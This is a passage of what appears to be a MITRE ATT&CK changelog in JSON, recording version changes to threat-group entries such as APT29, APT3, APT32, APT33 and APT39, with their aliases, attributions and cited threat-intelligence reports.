attackers. Retrieved April 15, 2019.", "url": "https://www.microsoft.com/security/blog/2018/12/03/analysis-of-cyberattack-on-u-s-think-tanks-non-profits-public-sector-by-unidentified-attackers/" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_contributors": [ "Daniyal Naeem, BT Security", "Matt Brenton, Zurich Insurance Group", "Katie Nickels, Red Canary" ], "x_mitre_version": "2.1", "detailed_diff": "{\"dictionary_item_removed\": {\"root['external_references'][10]['url']\": \"https://www.whitehouse.gov/briefing-room/statements-releases/2021/04/15/fact-sheet-imposing-costs-for-harmful-foreign-activities-by-the-russian-government/\"}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-16 00:59:58.792000+00:00\", \"old_value\": \"2021-04-30 12:11:56.336000+00:00\"}, \"root['description']\": {\"new_value\": \"[APT29](https://attack.mitre.org/groups/G0016) is threat group that has been attributed to Russia's Foreign Intelligence Service (SVR).(Citation: White House Imposing Costs RU Gov April 2021)(Citation: UK Gov Malign RIS Activity April 2021) They have operated since at least 2008, often targeting government networks in Europe and NATO member countries, research institutes, and think tanks. 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Retrieved September 23, 2020.\"}, \"root['external_references'][23]['url']\": {\"new_value\": \"https://www.ncsc.gov.uk/files/Advisory-further-TTPs-associated-with-SVR-cyber-actors.pdf\", \"old_value\": \"https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf\"}, \"root['external_references'][24]['source_name']\": {\"new_value\": \"FireEye APT29 Nov 2018\", \"old_value\": \"NCSC APT29 July 2020\"}, \"root['external_references'][24]['description']\": {\"new_value\": \"Dunwoody, M., et al. (2018, November 19). Not So Cozy: An Uncomfortable Examination of a Suspected APT29 Phishing Campaign. Retrieved November 27, 2018.\", \"old_value\": \"National Cyber Security Centre. (2020, July 16). Advisory: APT29 targets COVID-19 vaccine development. Retrieved September 29, 2020.\"}, \"root['external_references'][24]['url']\": {\"new_value\": \"https://www.fireeye.com/blog/threat-research/2018/11/not-so-cozy-an-uncomfortable-examination-of-a-suspected-apt29-phishing-campaign.html\", \"old_value\": \"https://www.ncsc.gov.uk/files/Advisory-APT29-targets-COVID-19-vaccine-development-V1-1.pdf\"}, \"root['external_references'][25]['source_name']\": {\"new_value\": \"ESET Dukes October 2019\", \"old_value\": \"Microsoft Unidentified Dec 2018\"}, \"root['external_references'][25]['description']\": {\"new_value\": \"Faou, M., Tartare, M., Dupuy, T. (2019, October). OPERATION GHOST. Retrieved September 23, 2020.\", \"old_value\": \"Microsoft Defender Research Team. (2018, December 3). Analysis of cyberattack on U.S. think tanks, non-profits, public sector by unidentified attackers. Retrieved April 15, 2019.\"}, \"root['external_references'][25]['url']\": {\"new_value\": \"https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf\", \"old_value\": \"https://www.microsoft.com/security/blog/2018/12/03/analysis-of-cyberattack-on-u-s-think-tanks-non-profits-public-sector-by-unidentified-attackers/\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.1\", \"old_value\": \"2.0\"}}, \"iterable_item_added\": {\"root['aliases'][1]\": \"NobleBaron\", \"root['external_references'][26]\": {\"source_name\": \"NCSC APT29 July 2020\", \"description\": \"National Cyber Security Centre. (2020, July 16). Advisory: APT29 targets COVID-19 vaccine development. Retrieved September 29, 2020.\", \"url\": \"https://www.ncsc.gov.uk/files/Advisory-APT29-targets-COVID-19-vaccine-development-V1-1.pdf\"}, \"root['external_references'][27]\": {\"source_name\": \"SentinelOne NobleBaron June 2021\", \"description\": \"Guerrero-Saade, J. (2021, June 1). NobleBaron | New Poisoned Installers Could Be Used In Supply Chain Attacks. Retrieved August 4, 2021.\", \"url\": \"https://labs.sentinelone.com/noblebaron-new-poisoned-installers-could-be-used-in-supply-chain-attacks/\"}, \"root['external_references'][28]\": {\"source_name\": \"MSTIC NOBELIUM May 2021\", \"description\": \"Microsoft Threat Intelligence Center (MSTIC). (2021, May 27). New sophisticated email-based attack from NOBELIUM. Retrieved May 28, 2021.\", \"url\": \"https://www.microsoft.com/security/blog/2021/05/27/new-sophisticated-email-based-attack-from-nobelium/\"}, \"root['external_references'][29]\": {\"source_name\": \"MSTIC Nobelium Toolset May 2021\", \"description\": \"MSTIC. (2021, May 28). Breaking down NOBELIUM\\u2019s latest early-stage toolset. Retrieved August 4, 2021.\", \"url\": \"https://www.microsoft.com/security/blog/2021/05/28/breaking-down-nobeliums-latest-early-stage-toolset/\"}, \"root['external_references'][30]\": {\"source_name\": \"MSRC Nobelium June 2021\", \"description\": \"MSRC. (2021, June 25). New Nobelium activity. Retrieved August 4, 2021.\", \"url\": \"https://msrc-blog.microsoft.com/2021/06/25/new-nobelium-activity/\"}, \"root['external_references'][31]\": {\"source_name\": \"Microsoft Unidentified Dec 2018\", \"description\": \"Microsoft Defender Research Team. (2018, December 3). Analysis of cyberattack on U.S. think tanks, non-profits, public sector by unidentified attackers. Retrieved April 15, 2019.\", \"url\": \"https://www.microsoft.com/security/blog/2018/12/03/analysis-of-cyberattack-on-u-s-think-tanks-non-profits-public-sector-by-unidentified-attackers/\"}, \"root['x_mitre_contributors'][0]\": \"Daniyal Naeem, BT Security\"}}", "previous_version": "2.0", "version_change": "2.0 \u2192 2.1", "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1[APT29](https://attack.mitre.org/groups/G0016) is threat grot1[APT29](https://attack.mitre.org/groups/G0016) is threat gro
>up that has been attributed to Russia's Foreign Intelligence>up that has been attributed to Russia's Foreign Intelligence
> Service (SVR).(Citation: White House Imposing Costs RU Gov > Service (SVR).(Citation: White House Imposing Costs RU Gov 
>April 2021)(Citation: UK Gov Malign RIS Activity April 2021)>April 2021)(Citation: UK Gov Malign RIS Activity April 2021)
> They have operated since at least 2008, often targeting gov> They have operated since at least 2008, often targeting gov
>ernment networks in Europe and NATO member countries, resear>ernment networks in Europe and NATO member countries, resear
>ch institutes, and think tanks. [APT29](https://attack.mitre>ch institutes, and think tanks. [APT29](https://attack.mitre
>.org/groups/G0016) reportedly compromised the Democratic Nat>.org/groups/G0016) reportedly compromised the Democratic Nat
>ional Committee starting in the summer of 2015.(Citation: F->ional Committee starting in the summer of 2015.(Citation: F-
>Secure The Dukes)(Citation: GRIZZLY STEPPE JAR)(Citation: Cr>Secure The Dukes)(Citation: GRIZZLY STEPPE JAR)(Citation: Cr
>owdstrike DNC June 2016)(Citation: UK Gov UK Exposes Russia >owdstrike DNC June 2016)(Citation: UK Gov UK Exposes Russia 
>SolarWinds April 2021)  In April 2021, the US and UK governm>SolarWinds April 2021)  In April 2021, the US and UK governm
>ents attributed the SolarWinds supply chain compromise cyber>ents attributed the SolarWinds supply chain compromise cyber
> operation to the SVR; public statements included citations > operation to the SVR; public statements included citations 
>to [APT29](https://attack.mitre.org/groups/G0016), Cozy Bear>to [APT29](https://attack.mitre.org/groups/G0016), Cozy Bear
>, and The Dukes.(Citation: NSA Joint Advisory SVR SolarWinds>, and The Dukes.(Citation: NSA Joint Advisory SVR SolarWinds
> April 2021)(Citation: UK NSCS Russia SolarWinds April 2021)> April 2021)(Citation: UK NSCS Russia SolarWinds April 2021)
> Victims of this campaign included government, consulting, t> Victims of this campaign included government, consulting, t
>echnology, telecom, and other organizations in North America>echnology, telecom, and other organizations in North America
>, Europe, Asia, and the Middle East. Industry reporting refe>, Europe, Asia, and the Middle East. Industry reporting refe
>rred to the actors involved in this campaign as UNC2452, NOB>rred to the actors involved in this campaign as UNC2452, NOB
>ELIUM, StellarParticle, and Dark Halo.(Citation: FireEye SUN>ELIUM, StellarParticle, and Dark Halo.(Citation: FireEye SUN
>BURST Backdoor December 2020)(Citation: MSTIC NOBELIUM Mar 2>BURST Backdoor December 2020)(Citation: MSTIC NOBELIUM Mar 2
>021)(Citation: CrowdStrike SUNSPOT Implant January 2021)(Cit>021)(Citation: CrowdStrike SUNSPOT Implant January 2021)(Cit
>ation: Volexity SolarWinds)>ation: Volexity SolarWinds)(Citation: Cybersecurity Advisory
 > SVR TTP May 2021)
" }, { "type": "intrusion-set", "id": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2017-05-31 21:31:55.853000+00:00", "modified": "2021-10-01 19:09:20.817000+00:00", "name": "APT3", "description": "[APT3](https://attack.mitre.org/groups/G0022) is a China-based threat group that researchers have attributed to China's Ministry of State Security.(Citation: FireEye Clandestine Wolf)(Citation: Recorded Future APT3 May 2017) This group is responsible for the campaigns known as Operation Clandestine Fox, Operation Clandestine Wolf, and Operation Double Tap.(Citation: FireEye Clandestine Wolf)(Citation: FireEye Operation Double Tap) As of June 2015, the group appears to have shifted from targeting primarily US victims to primarily political organizations in Hong Kong.(Citation: Symantec Buckeye)\n\nIn 2017, MITRE developed an APT3 Adversary Emulation Plan.(Citation: APT3 Adversary Emulation Plan)", "aliases": [ "APT3", "Gothic Panda", "Pirpi", "UPS Team", "Buckeye", "Threat Group-0110", "TG-0110" ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/groups/G0022", "external_id": "G0022" }, { "source_name": "APT3", "description": "(Citation: FireEye Clandestine Wolf) (Citation: Recorded Future APT3 May 2017) (Citation: Symantec Buckeye)" }, { "source_name": "Gothic Panda", "description": "(Citation: PWC Pirpi Scanbox) (Citation: Recorded Future APT3 May 2017) (Citation: Symantec Buckeye)" }, { "source_name": "Pirpi", "description": "(Citation: PWC Pirpi Scanbox)" }, { "source_name": "UPS Team", "description": "(Citation: FireEye Clandestine Wolf) (Citation: Recorded Future APT3 May 2017) (Citation: Symantec Buckeye)" }, { "source_name": "Buckeye", "description": "(Citation: Symantec Buckeye)" }, { "source_name": "Threat Group-0110", "description": "(Citation: Recorded Future APT3 May 2017) (Citation: Symantec Buckeye)" }, { "source_name": "TG-0110", "description": "(Citation: Recorded Future APT3 May 2017) (Citation: Symantec Buckeye)" }, { "source_name": "FireEye Clandestine Wolf", "description": "Eng, E., Caselden, D.. (2015, June 23). Operation Clandestine Wolf \u2013 Adobe Flash Zero-Day in APT3 Phishing Campaign. Retrieved January 14, 2016.", "url": "https://www.fireeye.com/blog/threat-research/2015/06/operation-clandestine-wolf-adobe-flash-zero-day.html" }, { "source_name": "Recorded Future APT3 May 2017", "description": "Insikt Group (Recorded Future). (2017, May 17). Recorded Future Research Concludes Chinese Ministry of State Security Behind APT3. Retrieved June 18, 2017.", "url": "https://www.recordedfuture.com/chinese-mss-behind-apt3/" }, { "source_name": "FireEye Operation Double Tap", "description": "Moran, N., et al. (2014, November 21). Operation Double Tap. Retrieved January 14, 2016.", "url": "https://www.fireeye.com/blog/threat-research/2014/11/operation_doubletap.html" }, { "source_name": "Symantec Buckeye", "description": "Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.", "url": "http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong" }, { "source_name": "APT3 Adversary Emulation Plan", "description": "Korban, C, et al. (2017, September). APT3 Adversary Emulation Plan. Retrieved January 16, 2018.", "url": "https://attack.mitre.org/docs/APT3_Adversary_Emulation_Plan.pdf" }, { "source_name": "PWC Pirpi Scanbox", "description": "Lancaster, T. (2015, July 25). A tale of Pirpi, Scanbox & CVE-2015-3113. Retrieved March 30, 2016.", "url": "http://pwc.blogs.com/cyber_security_updates/2015/07/pirpi-scanbox.html" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_contributors": [ "Patrick Sungbahadoor" ], "x_mitre_version": "1.4", "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_contributors']\": [\"Patrick Sungbahadoor\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-01 19:09:20.817000+00:00\", \"old_value\": \"2021-02-09 13:52:16.312000+00:00\"}, \"root['description']\": {\"new_value\": \"[APT3](https://attack.mitre.org/groups/G0022) is a China-based threat group that researchers have attributed to China's Ministry of State Security.(Citation: FireEye Clandestine Wolf)(Citation: Recorded Future APT3 May 2017) This group is responsible for the campaigns known as Operation Clandestine Fox, Operation Clandestine Wolf, and Operation Double Tap.(Citation: FireEye Clandestine Wolf)(Citation: FireEye Operation Double Tap) As of June 2015, the group appears to have shifted from targeting primarily US victims to primarily political organizations in Hong Kong.(Citation: Symantec Buckeye)\\n\\nIn 2017, MITRE developed an APT3 Adversary Emulation Plan.(Citation: APT3 Adversary Emulation Plan)\", \"old_value\": \"[APT3](https://attack.mitre.org/groups/G0022) is a China-based threat group that researchers have attributed to China's Ministry of State Security. (Citation: FireEye Clandestine Wolf) (Citation: Recorded Future APT3 May 2017) This group is responsible for the campaigns known as Operation Clandestine Fox, Operation Clandestine Wolf, and Operation Double Tap. (Citation: FireEye Clandestine Wolf) (Citation: FireEye Operation Double Tap) As of June 2015, the group appears to have shifted from targeting primarily US victims to primarily political organizations in Hong Kong. (Citation: Symantec Buckeye)\\n\\nMITRE has also developed an APT3 Adversary Emulation Plan.(Citation: APT3 Adversary Emulation Plan)\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +1,3 @@\\n-[APT3](https://attack.mitre.org/groups/G0022) is a China-based threat group that researchers have attributed to China's Ministry of State Security. (Citation: FireEye Clandestine Wolf) (Citation: Recorded Future APT3 May 2017) This group is responsible for the campaigns known as Operation Clandestine Fox, Operation Clandestine Wolf, and Operation Double Tap. (Citation: FireEye Clandestine Wolf) (Citation: FireEye Operation Double Tap) As of June 2015, the group appears to have shifted from targeting primarily US victims to primarily political organizations in Hong Kong. (Citation: Symantec Buckeye)\\n+[APT3](https://attack.mitre.org/groups/G0022) is a China-based threat group that researchers have attributed to China's Ministry of State Security.(Citation: FireEye Clandestine Wolf)(Citation: Recorded Future APT3 May 2017) This group is responsible for the campaigns known as Operation Clandestine Fox, Operation Clandestine Wolf, and Operation Double Tap.(Citation: FireEye Clandestine Wolf)(Citation: FireEye Operation Double Tap) As of June 2015, the group appears to have shifted from targeting primarily US victims to primarily political organizations in Hong Kong.(Citation: Symantec Buckeye)\\n \\n-MITRE has also developed an APT3 Adversary Emulation Plan.(Citation: APT3 Adversary Emulation Plan)\\n+In 2017, MITRE developed an APT3 Adversary Emulation Plan.(Citation: APT3 Adversary Emulation Plan)\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.4\", \"old_value\": \"1.3\"}}}", "previous_version": "1.3", "version_change": "1.3 \u2192 1.4", "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1[APT3](https://attack.mitre.org/groups/G0022) is a China-bast1[APT3](https://attack.mitre.org/groups/G0022) is a China-bas
>ed threat group that researchers have attributed to China's >ed threat group that researchers have attributed to China's 
>Ministry of State Security. (Citation: FireEye Clandestine W>Ministry of State Security.(Citation: FireEye Clandestine Wo
>olf) (Citation: Recorded Future APT3 May 2017) This group is>lf)(Citation: Recorded Future APT3 May 2017) This group is r
> responsible for the campaigns known as Operation Clandestin>esponsible for the campaigns known as Operation Clandestine 
>e Fox, Operation Clandestine Wolf, and Operation Double Tap.>Fox, Operation Clandestine Wolf, and Operation Double Tap.(C
> (Citation: FireEye Clandestine Wolf) (Citation: FireEye Ope>itation: FireEye Clandestine Wolf)(Citation: FireEye Operati
>ration Double Tap) As of June 2015, the group appears to hav>on Double Tap) As of June 2015, the group appears to have sh
>e shifted from targeting primarily US victims to primarily p>ifted from targeting primarily US victims to primarily polit
>olitical organizations in Hong Kong. (Citation: Symantec Buc>ical organizations in Hong Kong.(Citation: Symantec Buckeye)
>keye)  MITRE has also developed an APT3 Adversary Emulation >  In 2017, MITRE developed an APT3 Adversary Emulation Plan.
>Plan.(Citation: APT3 Adversary Emulation Plan)>(Citation: APT3 Adversary Emulation Plan)
" }, { "type": "intrusion-set", "id": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2017-12-14 16:46:06.044000+00:00", "modified": "2021-10-14 16:39:50.790000+00:00", "name": "APT32", "description": "[APT32](https://attack.mitre.org/groups/G0050) is a suspected Vietnam-based threat group that has been active since at least 2014. The group has targeted multiple private sector industries as well as foreign governments, dissidents, and journalists with a strong focus on Southeast Asian countries like Vietnam, the Philippines, Laos, and Cambodia. They have extensively used strategic web compromises to compromise victims.(Citation: FireEye APT32 May 2017)(Citation: Volexity OceanLotus Nov 2017)(Citation: ESET OceanLotus)", "aliases": [ "APT32", "SeaLotus", "OceanLotus", "APT-C-00" ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/groups/G0050", "external_id": "G0050" }, { "source_name": "APT32", "description": "(Citation: FireEye APT32 May 2017)(Citation: Volexity OceanLotus Nov 2017)(Citation: Cybereason Oceanlotus May 2017)(Citation: ESET OceanLotus Mar 2019)(Citation: Amnesty Intl. Ocean Lotus February 2021)" }, { "source_name": "SeaLotus", "description": "(Citation: Cybereason Oceanlotus May 2017)" }, { "source_name": "OceanLotus", "description": "(Citation: FireEye APT32 May 2017)(Citation: Volexity OceanLotus Nov 2017)(Citation: Cybereason Oceanlotus May 2017)(Citation: ESET OceanLotus Mar 2019)(Citation: Amnesty Intl. Ocean Lotus February 2021)" }, { "source_name": "APT-C-00", "description": "(Citation: ESET OceanLotus)(Citation: Cybereason Oceanlotus May 2017)(Citation: ESET OceanLotus Mar 2019)(Citation: Amnesty Intl. Ocean Lotus February 2021)" }, { "source_name": "FireEye APT32 May 2017", "description": "Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.", "url": "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html" }, { "source_name": "Volexity OceanLotus Nov 2017", "description": "Lassalle, D., et al. (2017, November 6). OceanLotus Blossoms: Mass Digital Surveillance and Attacks Targeting ASEAN, Asian Nations, the Media, Human Rights Groups, and Civil Society. Retrieved November 6, 2017.", "url": "https://www.volexity.com/blog/2017/11/06/oceanlotus-blossoms-mass-digital-surveillance-and-exploitation-of-asean-nations-the-media-human-rights-and-civil-society/" }, { "source_name": "ESET OceanLotus", "description": "Folt\u00fdn, T. (2018, March 13). OceanLotus ships new backdoor using old tricks. Retrieved May 22, 2018.", "url": "https://www.welivesecurity.com/2018/03/13/oceanlotus-ships-new-backdoor/" }, { "source_name": "Cybereason Oceanlotus May 2017", "description": "Dahan, A. (2017, May 24). OPERATION COBALT KITTY: A LARGE-SCALE APT IN ASIA CARRIED OUT BY THE OCEANLOTUS GROUP. Retrieved November 5, 2018.", "url": "https://www.cybereason.com/blog/operation-cobalt-kitty-apt" }, { "source_name": "ESET OceanLotus Mar 2019", "description": "Dumont, R. (2019, March 20). Fake or Fake: Keeping up with OceanLotus decoys. Retrieved April 1, 2019.", "url": "https://www.welivesecurity.com/2019/03/20/fake-or-fake-keeping-up-with-oceanlotus-decoys/" }, { "source_name": "Amnesty Intl. Ocean Lotus February 2021", "description": "Amnesty International. (2021, February 24). Vietnamese activists targeted by notorious hacking group. Retrieved March 1, 2021.", "url": "https://www.amnestyusa.org/wp-content/uploads/2021/02/Click-and-Bait_Vietnamese-Human-Rights-Defenders-Targeted-with-Spyware-Attacks.pdf" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_contributors": [ "Romain Dumont, ESET" ], "x_mitre_version": "2.5", "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-14 16:39:50.790000+00:00\", \"old_value\": \"2021-04-20 03:36:35.066000+00:00\"}, \"root['description']\": {\"new_value\": \"[APT32](https://attack.mitre.org/groups/G0050) is a suspected Vietnam-based threat group that has been active since at least 2014. The group has targeted multiple private sector industries as well as foreign governments, dissidents, and journalists with a strong focus on Southeast Asian countries like Vietnam, the Philippines, Laos, and Cambodia. They have extensively used strategic web compromises to compromise victims.(Citation: FireEye APT32 May 2017)(Citation: Volexity OceanLotus Nov 2017)(Citation: ESET OceanLotus)\", \"old_value\": \"[APT32](https://attack.mitre.org/groups/G0050) is a threat group that has been active since at least 2014. The group has targeted multiple private sector industries as well as with foreign governments, dissidents, and journalists with a strong focus on Southeast Asian countries like Vietnam, the Philippines, Laos, and Cambodia. They have extensively used strategic web compromises to compromise victims. The group is believed to be Vietnam-based.(Citation: FireEye APT32 May 2017)(Citation: Volexity OceanLotus Nov 2017)(Citation: ESET OceanLotus)\"}, \"root['external_references'][3]['description']\": {\"new_value\": \"(Citation: FireEye APT32 May 2017)(Citation: Volexity OceanLotus Nov 2017)(Citation: Cybereason Oceanlotus May 2017)(Citation: ESET OceanLotus Mar 2019)(Citation: Amnesty Intl. Ocean Lotus February 2021)\", \"old_value\": \"(Citation: FireEye APT32 May 2017) (Citation: Volexity OceanLotus Nov 2017)(Citation: Cybereason Oceanlotus May 2017)(Citation: ESET OceanLotus Mar 2019)(Citation: Amnesty Intl. Ocean Lotus February 2021)\"}, \"root['external_references'][10]['url']\": {\"new_value\": \"https://www.amnestyusa.org/wp-content/uploads/2021/02/Click-and-Bait_Vietnamese-Human-Rights-Defenders-Targeted-with-Spyware-Attacks.pdf\", \"old_value\": \"https://www.amnesty.org/en/latest/news/2021/02/viet-nam-hacking-group-targets-activist/\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.5\", \"old_value\": \"2.4\"}}}", "previous_version": "2.4", "version_change": "2.4 \u2192 2.5", "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1[APT32](https://attack.mitre.org/groups/G0050) is a threat gt1[APT32](https://attack.mitre.org/groups/G0050) is a suspecte
>roup that has been active since at least 2014. The group has>d Vietnam-based threat group that has been active since at l
> targeted multiple private sector industries as well as with>east 2014. The group has targeted multiple private sector in
> foreign governments, dissidents, and journalists with a str>dustries as well as foreign governments, dissidents, and jou
>ong focus on Southeast Asian countries like Vietnam, the Phi>rnalists with a strong focus on Southeast Asian countries li
>lippines, Laos, and Cambodia. They have extensively used str>ke Vietnam, the Philippines, Laos, and Cambodia. They have e
>ategic web compromises to compromise victims. The group is b>xtensively used strategic web compromises to compromise vict
>elieved to be Vietnam-based.(Citation: FireEye APT32 May 201>ims.(Citation: FireEye APT32 May 2017)(Citation: Volexity Oc
>7)(Citation: Volexity OceanLotus Nov 2017)(Citation: ESET Oc>eanLotus Nov 2017)(Citation: ESET OceanLotus)
>eanLotus) 
" }, { "type": "intrusion-set", "id": "intrusion-set--fbd29c89-18ba-4c2d-b792-51c0adee049f", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2018-04-18 17:59:24.739000+00:00", "modified": "2021-05-26 12:40:42.907000+00:00", "name": "APT33", "description": "[APT33](https://attack.mitre.org/groups/G0064) is a suspected Iranian threat group that has carried out operations since at least 2013. The group has targeted organizations across multiple industries in the United States, Saudi Arabia, and South Korea, with a particular interest in the aviation and energy sectors. (Citation: FireEye APT33 Sept 2017) (Citation: FireEye APT33 Webinar Sept 2017)", "aliases": [ "APT33", "HOLMIUM", "Elfin" ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/groups/G0064", "external_id": "G0064" }, { "source_name": "APT33", "description": "(Citation: FireEye APT33 Sept 2017) (Citation: FireEye APT33 Webinar Sept 2017)" }, { "source_name": "HOLMIUM", "description": "(Citation: Microsoft Holmium June 2020)" }, { "source_name": "Elfin", "description": "(Citation: Symantec Elfin Mar 2019)" }, { "source_name": "FireEye APT33 Sept 2017", "description": "O'Leary, J., et al. (2017, September 20). Insights into Iranian Cyber Espionage: APT33 Targets Aerospace and Energy Sectors and has Ties to Destructive Malware. Retrieved February 15, 2018.", "url": "https://www.fireeye.com/blog/threat-research/2017/09/apt33-insights-into-iranian-cyber-espionage.html" }, { "source_name": "FireEye APT33 Webinar Sept 2017", "description": "Davis, S. and Carr, N. (2017, September 21). APT33: New Insights into Iranian Cyber Espionage Group. Retrieved February 15, 2018.", "url": "https://www.brighttalk.com/webcast/10703/275683" }, { "source_name": "Microsoft Holmium June 2020", "description": "Microsoft Threat Protection Intelligence Team. (2020, June 18). Inside Microsoft Threat Protection: Mapping attack chains from cloud to endpoint. Retrieved June 22, 2020.", "url": "https://www.microsoft.com/security/blog/2020/06/18/inside-microsoft-threat-protection-mapping-attack-chains-from-cloud-to-endpoint/" }, { "source_name": "Symantec Elfin Mar 2019", "description": "Security Response attack Investigation Team. (2019, March 27). Elfin: Relentless Espionage Group Targets Multiple Organizations in Saudi Arabia and U.S.. Retrieved April 10, 2019.", "url": "https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_version": "1.4", "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-05-26 12:40:42.907000+00:00\", \"old_value\": \"2020-07-01 15:48:20.759000+00:00\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.4\", \"old_value\": \"1.3\"}}}", "previous_version": "1.3", "version_change": "1.3 \u2192 1.4" }, { "type": "intrusion-set", "id": "intrusion-set--44e43fad-ffcb-4210-abcf-eaaed9735f80", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2019-02-19 16:01:38.585000+00:00", "modified": "2021-10-12 23:08:30.844000+00:00", "name": "APT39", "description": "[APT39](https://attack.mitre.org/groups/G0087) is one of several names for cyberespionage activity conducted by the Iranian Ministry of Intelligence and Security (MOIS) through the front company Rana Intelligence Computing since at least 2014. [APT39](https://attack.mitre.org/groups/G0087) has primarily targeted the travel, hospitality, academic, and telecommunications industries in Iran and across Asia, Africa, Europe, and North America to track individuals and entities considered to be a threat by the MOIS.(Citation: FireEye APT39 Jan 2019)(Citation: Symantec Chafer Dec 2015)(Citation: FBI FLASH APT39 September 2020)(Citation: Dept. of Treasury Iran Sanctions September 2020)(Citation: DOJ Iran Indictments September 2020)", "aliases": [ "APT39", "REMIX KITTEN", "ITG07", "Chafer" ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/groups/G0087", "external_id": "G0087" }, { "source_name": "APT39", "description": "(Citation: FireEye APT39 Jan 2019)(Citation: FBI FLASH APT39 September 2020)(Citation: Dept. of Treasury Iran Sanctions September 2020)(Citation: DOJ Iran Indictments September 2020)" }, { "source_name": "REMIX KITTEN", "description": "(Citation: Crowdstrike GTR2020 Mar 2020)" }, { "source_name": "ITG07", "description": "(Citation: FBI FLASH APT39 September 2020)(Citation: Dept. of Treasury Iran Sanctions September 2020)(Citation: DOJ Iran Indictments September 2020)" }, { "source_name": "Chafer", "description": "Activities associated with APT39 largely align with a group publicly referred to as Chafer.(Citation: FireEye APT39 Jan 2019)(Citation: Symantec Chafer Dec 2015)(Citation: Dark Reading APT39 JAN 2019)(Citation: FBI FLASH APT39 September 2020)(Citation: Dept. of Treasury Iran Sanctions September 2020)(Citation: DOJ Iran Indictments September 2020)" }, { "source_name": "FireEye APT39 Jan 2019", "description": "Hawley et al. (2019, January 29). APT39: An Iranian Cyber Espionage Group Focused on Personal Information. Retrieved February 19, 2019.", "url": "https://www.fireeye.com/blog/threat-research/2019/01/apt39-iranian-cyber-espionage-group-focused-on-personal-information.html" }, { "source_name": "Symantec Chafer Dec 2015", "description": "Symantec Security Response. (2015, December 7). Iran-based attackers use back door threats to spy on Middle Eastern targets. Retrieved April 17, 2019.", "url": "https://www.symantec.com/connect/blogs/iran-based-attackers-use-back-door-threats-spy-middle-eastern-targets" }, { "source_name": "FBI FLASH APT39 September 2020", "description": "FBI. (2020, September 17). Indicators of Compromise Associated with Rana Intelligence Computing, also known as Advanced Persistent Threat 39, Chafer, Cadelspy, Remexi, and ITG07. Retrieved December 10, 2020.", "url": "https://www.iranwatch.org/sites/default/files/public-intelligence-alert.pdf" }, { "source_name": "Dept. of Treasury Iran Sanctions September 2020", "description": "Dept. of Treasury. (2020, September 17). Treasury Sanctions Cyber Actors Backed by Iranian Intelligence. Retrieved December 10, 2020.", "url": "https://home.treasury.gov/news/press-releases/sm1127" }, { "source_name": "DOJ Iran Indictments September 2020", "description": "DOJ. (2020, September 17). Department of Justice and Partner Departments and Agencies Conduct Coordinated Actions to Disrupt and Deter Iranian Malicious Cyber Activities Targeting the United States and the Broader International Community. Retrieved December 10, 2020.", "url": "https://www.justice.gov/opa/pr/department-justice-and-partner-departments-and-agencies-conduct-coordinated-actions-disrupt" }, { "source_name": "Crowdstrike GTR2020 Mar 2020", "description": "Crowdstrike. (2020, March 2). 2020 Global Threat Report. Retrieved December 11, 2020.", "url": "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf" }, { "source_name": "Dark Reading APT39 JAN 2019", "description": "Higgins, K. (2019, January 30). Iran Ups its Traditional Cyber Espionage Tradecraft. Retrieved May 22, 2020.", "url": "https://www.darkreading.com/attacks-breaches/iran-ups-its-traditional-cyber-espionage-tradecraft/d/d-id/1333764" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_version": "3.1", "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-12 23:08:30.844000+00:00\", \"old_value\": \"2021-04-23 02:08:55.286000+00:00\"}, \"root['x_mitre_version']\": {\"new_value\": \"3.1\", \"old_value\": \"3.0\"}}}", "previous_version": "3.0", 